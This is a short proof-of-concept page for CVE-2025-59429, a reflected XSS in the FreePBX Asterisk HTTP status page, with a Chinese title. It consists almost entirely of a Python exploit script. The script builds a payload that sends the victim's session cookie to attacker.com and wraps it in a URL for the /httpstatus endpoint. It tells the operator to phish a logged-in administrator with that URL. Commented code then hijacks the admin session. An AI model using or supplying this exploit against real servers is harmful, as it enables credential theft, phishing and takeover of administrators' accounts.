CVE-2025-59429 FreePBX Asterisk HTTP状态页反射型XSS漏洞

# CVE-2025-59429 - FreePBX Asterisk HTTP Status Page Reflected XSS PoC # Vulnerability: Reflected XSS in Asterisk HTTP Status Page (port 8088) # Target: FreePBX 16 < 16.0.68.39, FreePBX 17 < 17.0.18.38 import requests import urllib.parse TARGET_HOST = "http://target-freepbx:8088" LISTENER_HOST = "http://attacker.com" # Step 1: Craft the malicious XSS payload to steal session cookies # The payload exfiltrates the victim's cookies to an attacker-controlled server xss_payload = ( "<script>" "var img=new Image();" f"img.src='{LISTENER_HOST}/steal?c='+document.cookie;" "</script>" ) # Step 2: Inject the payload into a vulnerable parameter on the Asterisk HTTP Status page # The injected value is reflected back without proper sanitization vulnerable_endpoint = "/httpstatus" injected_param = "var" # Parameter that reflects user input malicious_url = f"{TARGET_HOST}{vulnerable_endpoint}?{injected_param}={urllib.parse.quote(xss_payload)}" print(f"[+] Malicious URL generated:\n{malicious_url}") print(f"[*] Send this URL to a logged-in FreePBX administrator via phishing") print(f"[*] When admin clicks, their session cookie will be sent to {LISTENER_HOST}/steal") # Step 3: Verify the endpoint is reachable (optional reconnaissance) try: r = requests.get(f"{TARGET_HOST}{vulnerable_endpoint}", timeout=5) print(f"[+] Target reachable, HTTP status: {r.status_code}") except Exception as e: print(f"[-] Target unreachable: {e}") # Step 4: After obtaining the admin cookie, hijack the session # stolen_cookie = "<captured_cookie_value>" # admin_session = requests.Session() # admin_session.cookies.set('PHPSESSID', stolen_cookie.split('PHPSESSID=')[1].split(';')[0]) # resp = admin_session.get(f"{TARGET_HOST.replace(':8088', '')}/admin/config.php") # print(f"[+] Admin panel access: {resp.status_code}")